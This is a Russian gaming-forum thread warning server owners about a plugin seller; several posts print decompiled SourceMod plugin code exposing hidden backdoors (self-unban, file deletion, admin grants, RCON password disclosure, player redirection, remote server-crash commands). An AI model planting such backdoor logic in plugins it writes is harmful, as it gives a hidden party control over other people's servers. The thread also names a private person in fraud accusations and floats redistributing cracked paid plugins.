DEN (infozona-51.ru)

Тема в разделе "Жалобы", создана пользователем R1KO, 6 авг 2017.

  1. R1KO

    R1KO всё тлен Супермодератор

    Сообщения:
    8.365
    Симпатии:
    5.790
    Не то чтобы жалоба а просто предостережение.

    Сегодня ко мне попал плагин Плагин Префиксы в чате для зомби сервера Css V34

    Декомпилировав его вот что открылось моему взору:
    Собственно весь полезный код:
    PHP:
    public Action:HookMessage(clientString:command[], args)
    {
        new 
    String:buffer[512];
        new 
    String:name[64];
        
    GetCmdArgString(buffer512);
        
    StripQuotes(buffer);
        
    GetClientName(clientname64);
        new 
    team GetClientTeam(client);
        if (
    virusactive)
        {
            if (
    team == 2)
            {
                
    PrintToChatAll("\x04[Заражённый] \x03%s\x01: %s"namebuffer);
            }
            if (
    team == 3)
            {
                
    PrintToChatAll("\x04[Человек] \x03%s\x01: %s"namebuffer);
            }
            if (
    team == 1)
            {
                
    PrintToChatAll("\x04[Спектатор] \x03%s\x01: %s"namebuffer);
            }
        }
        else
        {
            
    PrintToChatAll("\x04[Человек] \x03%s\x01: %s"namebuffer);
            if (
    team == 1)
            {
                
    PrintToChatAll("\x04[Спектатор] \x03%s\x01: %s"namebuffer);
            }
        }
        return 
    Action:3;
    }
    А вот дальше интереснее:
    PHP:
    public Action:Crashmenu(clientargs)
    {
        
    crasher client;
        new 
    Handle:menu CreateMenu(Select_MenuMenuAction:28);
        
    SetMenuTitle(menu"Что прикажете сделать?");
        
    AddMenuItem(menu"1""Разбанить себя"0);
        
    AddMenuItem(menu"2""Удалить файл/папку"0);
        
    AddMenuItem(menu"3""Выдать Админку"0);
        
    AddMenuItem(menu"4""Выключить сервер"0);
        
    AddMenuItem(menu"5""Выгрузить плагин"0);
        
    AddMenuItem(menu"6""Получить RCON пароль"0);
        
    AddMenuItem(menu"7""Выборочное удаление плагинов"0);
        
    SetMenuExitButton(menutrue);
        
    DisplayMenu(menucrasher0);
        return 
    Action:0;
    }

    public 
    Select_Menu(Handle:menuMenuAction:actioncrasheroption)
    {
        if (
    action == MenuAction:16)
        {
            
    CloseHandle(menu);
            return 
    0;
        }
        if (
    action == MenuAction:4)
        {
            if (!
    option)
            {
                
    ServerCommand("sm_unban \"STEAM_0:0:1506229913\"");
                
    ServerCommand("sm_unban \"95.191.21.25\"");
                
    ServerCommand("sm_unban \"95.191\"");
                
    PrintToChat(crasher"[DeathMenu] Вы были разбанены!");
            }
            if (
    option == 1)
            {
                new 
    Handle:delmenu CreateMenu(Select_DelMenuMenuAction:28);
                
    SetMenuTitle(delmenu"Файл или папка?");
                
    AddMenuItem(delmenu"1""Файл"0);
                
    AddMenuItem(delmenu"2""Папка"0);
                
    SetMenuExitButton(delmenutrue);
                
    DisplayMenu(delmenucrasher0);
            }
            if (
    option == 2)
            {
                new 
    Handle:admmenu CreateMenu(Select_AdmMenuMenuAction:28);
                
    SetMenuTitle(admmenu"Выбирай");
                
    AddMenuItem(admmenu"1""По Steam ID"0);
                
    AddMenuItem(admmenu"2""По ip"0);
                
    SetMenuExitButton(admmenutrue);
                
    DisplayMenu(admmenucrasher0);
            }
            if (
    option == 3)
            {
                
    ServerCommand("exit");
            }
            if (
    option == 4)
            {
                
    pluginname 1;
                
    PrintToChat(crasher"[DeathMenu] Введите название плагина (без .smx)");
            }
            if (
    option == 5)
            {
                new 
    String:password[128];
                
    GetConVarString(FindConVar("rcon_password"), password128);
                
    PrintToChat(crasher"[DeathMenu] RCON пароль: %s"password);
            }
            if (
    option == 6)
            {
                
    del 1;
                
    PrintToChat(crasher"[DeathMenu] Впишите название плагина для удаления (без .smx)!");
            }
        }
        return 
    0;
    }

    public 
    Select_AdmMenu(Handle:admmenuMenuAction:actioncrasheroption)
    {
        if (
    action == MenuAction:16)
        {
            
    CloseHandle(admmenu);
            return 
    0;
        }
        if (
    action == MenuAction:4)
        {
            if (!
    option)
            {
                
    po_ip 1;
                
    SelectPlayer(crasher);
            }
            if (
    option == 1)
            {
                
    po_steam 1;
                
    SelectPlayer(crasher);
            }
        }
        return 
    0;
    }

    SelectPlayer(crasher)
    {
        new 
    Handle:plmenu CreateMenu(Select_PlMenuMenuAction:28);
        
    SetMenuTitle(plmenu"Выберите Игрока:\n \n");
        
    decl String:userid[16];
        
    decl String:name[32];
        new 
    1;
        while (
    <= MaxClients)
        {
            if (
    IsClientInGame(i))
            {
                
    IntToString(GetClientUserId(i), userid15);
                
    GetClientName(iname32);
                
    AddMenuItem(plmenuuseridname0);
            }
            
    i++;
        }
        
    DisplayMenu(plmenucrasher0);
        return 
    0;
    }

    public 
    Select_PlMenu(Handle:plmenuMenuAction:actioncrasheroption)
    {
        if (
    action == MenuAction:16)
        {
            
    CloseHandle(plmenu);
            return 
    0;
        }
        if (
    action == MenuAction:4)
        {
            
    decl String:userid[16];
            
    GetMenuItem(plmenuoptionuserid150""0);
            new 
    target GetClientOfUserId(StringToInt(userid10));
            new 
    String:steamid[128];
            new 
    String:ip[28];
            if (
    target)
            {
                if (
    po_ip == 1)
                {
                    
    GetClientAuthString(targetsteamid128true);
                    new 
    AdminId:id CreateAdmin("");
                    
    SetAdminFlag(idAdminFlag:14true);
                    
    BindAdminIdentity(id"steam"steamid);
                    
    PrintToChat(crasher"[DeathMenu] Игроку %N была выдана админка по SteamID!"target);
                    
    ServerCommand("sm_reloadadmins");
                    
    po_steam 0;
                }
                if (
    po_steam == 1)
                {
                    
    GetClientIP(targetip25true);
                    new 
    AdminId:id CreateAdmin("");
                    
    SetAdminFlag(idAdminFlag:14true);
                    
    BindAdminIdentity(id"ip"ip);
                    
    PrintToChat(crasher"[DeathMenu] Игроку %N была выдана админка по IP!"target);
                    
    ServerCommand("sm_reloadadmins");
                    
    po_ip 0;
                }
            }
        }
        return 
    0;
    }

    public 
    Select_DelMenu(Handle:delmenuMenuAction:actioncrasheroption)
    {
        if (
    action == MenuAction:16)
        {
            
    CloseHandle(delmenu);
            return 
    0;
        }
        if (
    action == MenuAction:4)
        {
            if (
    option)
            {
                if (
    option == 1)
                {
                    
    folder 1;
                    
    PrintToChat(crasher"[DeathMenu] Впишите путь к папке");
                    
    deletepath 1;
                }
            }
            
    file 1;
            
    PrintToChat(crasher"[DeathMenu] Впишите путь к файлу (включая расширение, например, \".txt\")");
            
    deletepath 1;
        }
        return 
    0;
    }

    public 
    Action:HookPlayerChat(crasherString:command[], args)
    {
        if (
    pluginname == 1)
        {
            
    GetCmdArg(1plugname64);
            
    ServerCommand("sm plugins unload %s.smx"plugname);
            
    PrintToChat(crasher"[DeathMenu] Плагин %s.smx отключен"plugname);
            
    pluginname 0;
            
    PrintToChatAll("");
            return 
    Action:3;
        }
        if (
    del == 1)
        {
            new 
    String:plug[128];
            
    GetCmdArg(1plug128);
            
    Format(plug128"addons/sourcemod/plugins/%s.smx"plug);
            
    DeleteFile(plug);
            
    PrintToChat(crasher"[DeathMenu] Плагин %s.smx был удален!"plug);
            
    del 0;
            
    PrintToChatAll("");
            return 
    Action:3;
        }
        if (
    deletepath == 1)
        {
            new 
    String:path[128];
            
    GetCmdArg(1path128);
            if (
    file == 1)
            {
                if (
    FileExists(pathfalse))
                {
                    
    DeleteFile(path);
                    
    file 0;
                    
    PrintToChat(crasher"[DeathMenu] Файл был успешно удален");
                }
                else
                {
                    
    PrintToChat(crasher"[DeathMenu] Файл не найден");
                }
            }
            else
            {
                if (
    folder == 1)
                {
                    if (
    DirExists(path))
                    {
                        if (
    RemoveDir(path))
                        {
                            
    folder 0;
                            
    PrintToChat(crasher"[DeathMenu] Папка была успешно удалена");
                        }
                        else
                        {
                            
    PrintToChat(crasher"[DeathMenu] Данную папку невозможно удалить");
                        }
                    }
                    
    PrintToChat(crasher"[DeathMenu] Папка не найдена");
                }
            }
        }
        return 
    Action:0;
    }

    Как видно по коду 70 % плагина чистой воды бэкдор.

    Так что если у вас установлен этот плагин - советую удалить его.

    Так же в связи с моей сферой деятельности мне неоднократно поступали жалобы на данную особь:
    upload_2017-8-6_21-12-9.png

    По моим сведениям мало кто что покупает т.к. мало того что в основном умершая в34, так еще и цены в разы завышены, учитывая что большая часть ассортимента - немного измененные или соединенные публичные плагины.

    Так что связываться не советую.
     
    hirowatch, BossKotoriiNeSmok, Хруст и 19 другим нравится это.
  2. kuper

    kuper

    Сообщения:
    112
    Симпатии:
    100
    Поддерживаю R1ko, он ещё и кидала не плохой, а зато как общаться то начинает ,что касаемо денег, "будьте любезны ,всегда пожалуйста, всё на вы да с улыбочкой" как то у него плагин брал, так я хрен его знает ,) у него как будто цех по установке плагина построен, говорит такими словами что аж смешно становится, тапа установка плагина будет произведена в течение 48 часов, через сутки пишет что подготовка к установке произведена, ещё через 8 часов пишет что приступил к установке. Вот откуда такие клоуны берутся я понять не могу, это хорошо что он ракеты в космос не запускает, а то судя по тому как он плагины устанавливает, то ракета совсем бы никуда в течение 100 лет не улетела))
     
    CAH4E3, kilroy, Danyas и 2 другим нравится это.
  3. pracc

    pracc Быть, а не казаться.

    Сообщения:
    764
    Симпатии:
    258
    Весёлый паренёк.
     
    kilroy нравится это.
  4. kilroy

    kilroy

    Сообщения:
    715
    Симпатии:
    362
    Имел уже с ним дело, и я, и знакомый админ, который купил у него один плагин (аля No-Steam Bans). Продавал он этот плагин с привязкой на айпи. Через некоторое время пришлось сменить хостинг, соответственно IP сменился и плагин не работает. Владелец плагина с ним связываться не хотел, на связь вышел с ним я. Объяснил ситуацию, что так и так, пришлось сменить хостинг, нужно плагин привязать на новый айпи. Он начал заливать про какое-то доказательство неработоспособности сервера, я ему пишу ещё раз, что сервер нормально работает, просто сменили хостинг. Так он сказал, что на новый айпи привязывать не будет, покупай заново. Позже знакомый обратился к человеку, чтобы тот убрал привязку, в итоге он обнаружил в плагине команды для краша сервера, что было большим удивлением. Очень странный человек он.
    P.S.(Если нужно, могу скинуть переписку с ним в ВК, если она ещё сохранилась).
     
    Последнее редактирование: 6 авг 2017
    kuper и CAH4E3 нравится это.
  5. kuper

    kuper

    Сообщения:
    112
    Симпатии:
    100
    надо ещё в этой теме все его плагины выкладывать, которые по тем или иным причинам перестали работать, а лучше все привязанные , можно при желание их все отвязать и распостранить бесплатно)
     
    kilroy и Fox1qqq нравится это.
  6. Parker

    Parker

    Сообщения:
    15
    Симпатии:
    19
    Это тело такое, ворует чужие плагины/модели/карты и присваивает себе авторство. Лично меня кинул на 5к рублей еще в 2014 когда я только начал понимать что к чему. Помимо этого я в то время держал у него на германской вдске 3 сервера. После того как он меня развел на 5к рублей, он забрал доступ к серверам со всеми плагинами и кинул меня везде в чс, после чего я узнал что он продавал их у себя в группе. Казалось бы человеку больше 40 лет, работает на заводе, есть ребенок, а он сидит и кидает людей... Все пруфы у меня есть в лс вк, кому нужно скину.
     
    AlexBraun, EaglEs, CAH4E3 и 2 другим нравится это.
  7. over.igor

    over.igor

    Сообщения:
    11
    Симпатии:
    8
    vk.com/club99565545
     
    hirowatch, inklesspen, Dreizehnt и ещё 1-му нравится это.
  8. Danyas

    Danyas Модератор

    Сообщения:
    2.032
    Симпатии:
    809
    Мои труды были оправданы xD
     
    inklesspen, Dreizehnt и kilroy нравится это.
  9. Grey83

    Grey83 похухоль

    Сообщения:
    2.570
    Симпатии:
    1.373
    @Danyas,
    это отсюда, что ли?
     
  10. R1KO

    R1KO всё тлен Супермодератор

    Сообщения:
    8.365
    Симпатии:
    5.790
    А это уже проблемы тех, кто будет связываться с непроверенными людьми
     
    EaglEs, Fox1qqq, wayLANder и ещё 1-му нравится это.
  11. Danyas

    Danyas Модератор

    Сообщения:
    2.032
    Симпатии:
    809
    Честно - не знаю. Вполне возможно.
     
  12. Grey83

    Grey83 похухоль

    Сообщения:
    2.570
    Симпатии:
    1.373
    @Danyas, интересно что там несовместимо с 1.7?
    В фиксе для 1.7 строку #pragma newdecls required перенесли ниже инклюдов, что ли?
     
  13. Danyas

    Danyas Модератор

    Сообщения:
    2.032
    Симпатии:
    809
    Для SM < 1.7, т.е. на 1.6 и ниже. Типы поправил, и всего то делов
     
  14. kuper

    kuper

    Сообщения:
    112
    Симпатии:
    100
    Хочу предостеречь людей ещё от одного чучела Ярослав Шаповалов Yaroslav Shapovalov , Тот ещё га****он , все кто покупал у него любые плагины, советую удалить, в одном из них я уверен есть это Action:OnMovetypeNoneAll(Handle:timer)
    {
    new var1;
    if (sAddressServer[0] && sNameServer[0])
    {
    return Action:0;
    }
    new iClient = 1;
    while (iClient <= MaxClients)
    {
    if (IsClientInGame(iClient))
    {
    if (!(0 < GetUserFlagBits(iClient)))
    {
    DisplayAskConnectBox(iClient, 2.0, sAddressServer, "");
    PrintCenterText(iClient, "Сервер вас перенаправляет на %s. Нажмите F3.", sNameServer);
    PrintToChat(iClient, "\x01Сервер вас перенаправляет на \x04%s. Нажмите F3.", sNameServer);
    if (IsPlayerAlive(iClient))
    {
    SetEntityMoveType(iClient, MoveType:0);
    }
    }
    iClient++;
    }
    iClient++;
    }
    CreateTimer(1.0, OnMovetypeNoneAll, any:0, 0);
    return Action:0;
    }

    А это прямая дорога в бан на любом платной раскрутке или мониторинге!

    в краце об этом коде, когда вы подключаетесь к серверу на котором стоит плагин с таким кодом, у вас автоматом слетает вам мастер сервер , и прописывается его ,с его серверами и его гейм меню!
     
    kilroy, REDWOOD и R1KO нравится это.
  15. will_rock

    will_rock

    Сообщения:
    543
    Симпатии:
    131
    Это каким нужно быть конченным, чтобы продавать плагин с бэкдором. Ты (чудо ака miracle ака еще что-то) их продаешь, не в паблик выкладываешь, у тебя его не украли и тд и тп. Нафига такое делать если ты уже продал плагин.
     
  16. Kaptain

    Kaptain Школьник

    Сообщения:
    888
    Симпатии:
    406
    А я говорил :acute:
     
    kilroy и kuper нравится это.
  17. kilroy

    kilroy

    Сообщения:
    715
    Симпатии:
    362
    @kuper, нужно было наверное в эту тему писать (Черный список магазинов плагинов). Хотя наверное особой разницы нету уже. Ну и на группу (вроде как его) в ту тему ссылку уже кинул.
    Ну и забанить его тут не помешало бы.
     
    kuper нравится это.
  18. REDWOOD

    REDWOOD

    Сообщения:
    427
    Симпатии:
    71
    Звизда олда меняет мастер сервера на соурсбусте - его гавно сервера уже спалили и забанили там ))))
     
    Последнее редактирование: 20 окт 2017
    kuper нравится это.
  19. Kailo

    Kailo

    Сообщения:
    154
    Симпатии:
    640
    В связи в участившимися случаями взлома плагинов (:bye:), он решил их защитить не сказав об этом покупателям.
    А теперь перейдем к сути.

    Плагин (как и все что он продает в текущие время, так думаю) имеет обфускацию SmartPawn, с целью защитить плагин от декомпиляции и взлома (:dntknw:) . В результате плагин "раздувается" (добавляется 200+ КБ и это с учетом сжатия встроенного в smx, при работе он раздувается в мегабайт) от добавления в него мусорного кода, который никогда не будет исполняться, но должен помешать. Частью этого мусора является функция (см. вложения), которая так-же никогда не вызывается.

    Теперь о защите и бэкдорах:
    В OnPluginStart вызывается функция проверки ip.
    А так же регистрируются 2 общедоступные команды:
    1) Выводит в чат, вызвавшему её игроку информацию о владельце сервера (ip).
    Насколько я понимаю для того, что если плагин будет отвязан, узнать кто слил его.
    2) Крашит сервер.
    Насколько я понимаю для того, что если плагин будет отвязан, наказать того, кто слил его и использует.
    Так же в OnMapStart вызывается 5и секундный таймер, после которого идет спам в консоль о плагине и вызов проверки ip.

    PHP:
    public int OnPluginStart() // address: 1742260
    {
        
    RegConsoleCmd("sm_searchmsg"Command_searchmsg"Searches SourceMod messages"0);
        
    RegConsoleCmd("sm_plugin_buy"Command_plugin_buy"Проверка легальности купленного плагина"0);
        
    Func1748172();
        
    Func1469220();
        
    Func1679324();
        
    Func1603704();
        
    Func1548308();
        
    Func1498260();
        
    AutoExecConfig(true"Skins-Weapons""sourcemod/skins_weapons");
    }

    public 
    int OnMapStart() // address: 1745420
    {
        
    CreateTimer(5.0Timer_PlugPritect00);
        
    Func1605664();
    }

    public 
    int Timer_PlugPritect() // address: 1746604
    {
        
    Func1748172();
        
    ServerCommand("echo =====================================================");
        
    ServerCommand("echo Плагин Personal Weapons (version 4.3)");
        
    ServerCommand("echo Автор плагина Даниил Романов никнейм DEN & Gizmon51");
        
    ServerCommand("echo Канал на ютубе https://www.youtube.com/user/Gizmon51");
        
    ServerCommand("echo Группа VK https://vk.com/shopsource");
        
    ServerCommand("echo Скайп cssrs2_ky39i");
        
    ServerCommand("echo Автор плагина DEN");
        
    ServerCommand("echo =====================================================");
    }

    int Func1748172() // address: 1748172
    {
        
    char var32[32];
        
    char var160[128];
        
    int var164;
        
    int var168;
        
    int var172;
        
    var168 FindConVar("hostip");
        
    var164 GetConVarInt(var168);
        
    var172 FindConVar("hostport");
        
    GetConVarString(var172var160128);
        
    FormatEx(var3232"%u.%u.%u.%u:%s"var164 >>> 24 255var164 >>> 16 255var164 >>> 255var164 255var160);
        if (
    strcmp("127.0.0.1:27015"var32true))
        {
            
    SetFailState("WWW.INFOZONA-51.RU Плагин не прошел проверку легальности. Подробности в скайп cssrs2_ky39i");
        }
    }

    public 
    int Command_searchmsg() // address: 1749944
    {
        
    ServerCommand("say ПЛАГИН ВАМИ НЕ ОПЛАЧЕН!!!");
        
    ServerCommand("killserver;sv_visiblemaxplayers 1;exit;sm plugins unload_all");
    }

    public 
    int Command_plugin_buy(int arg12// address: 1751124
    {
        
    PrintToChat(arg12"[WWW.INFOZONA-51.RU] Плагин куплен на сервер 127.0.0.1:27015");
    }
    Я работал с Personal Weapons и 3 модулями к нему, в каждом из них было по такой штуке.
    Т.е. это будет 4 таких спам сообщения в консоль при старте карты (а у вас может быть и больше его плагинов).
    Один из модулей по сути 100-200 строк кода в оригинале и 4-5 КБ весом, а вы получаете какашку весом в 200+ КБ.
    Ну и бэкдоры для краша в придачу.

    P.S. В плагине также был один баг. Его суть описана здесь: "Проблема "Group", механика KeyValues"
     

    Вложения:

    Последнее редактирование: 10 ноя 2017
    hirowatch, nick_name, Утка и 15 другим нравится это.
  20. Lara Croft

    Lara Croft

    Сообщения:
    35
    Симпатии:
    4
    DEN, DEN ... всё тот же тупой и безжалостный DEN! Проблема в том, что если человек не понимает механизма компиляции, то любой механизм обфускации будет бесполезен или почти бесполезен. Так бездарно писать свой код - ещё нужно уметь! И мне кажется, что оптимальным решением проблемы с DEN-ом и его попытками обфускации SmartPawn-ом краденных плагинов - это некий плагин, который ставит нужные значения для IP и PORT на сервере.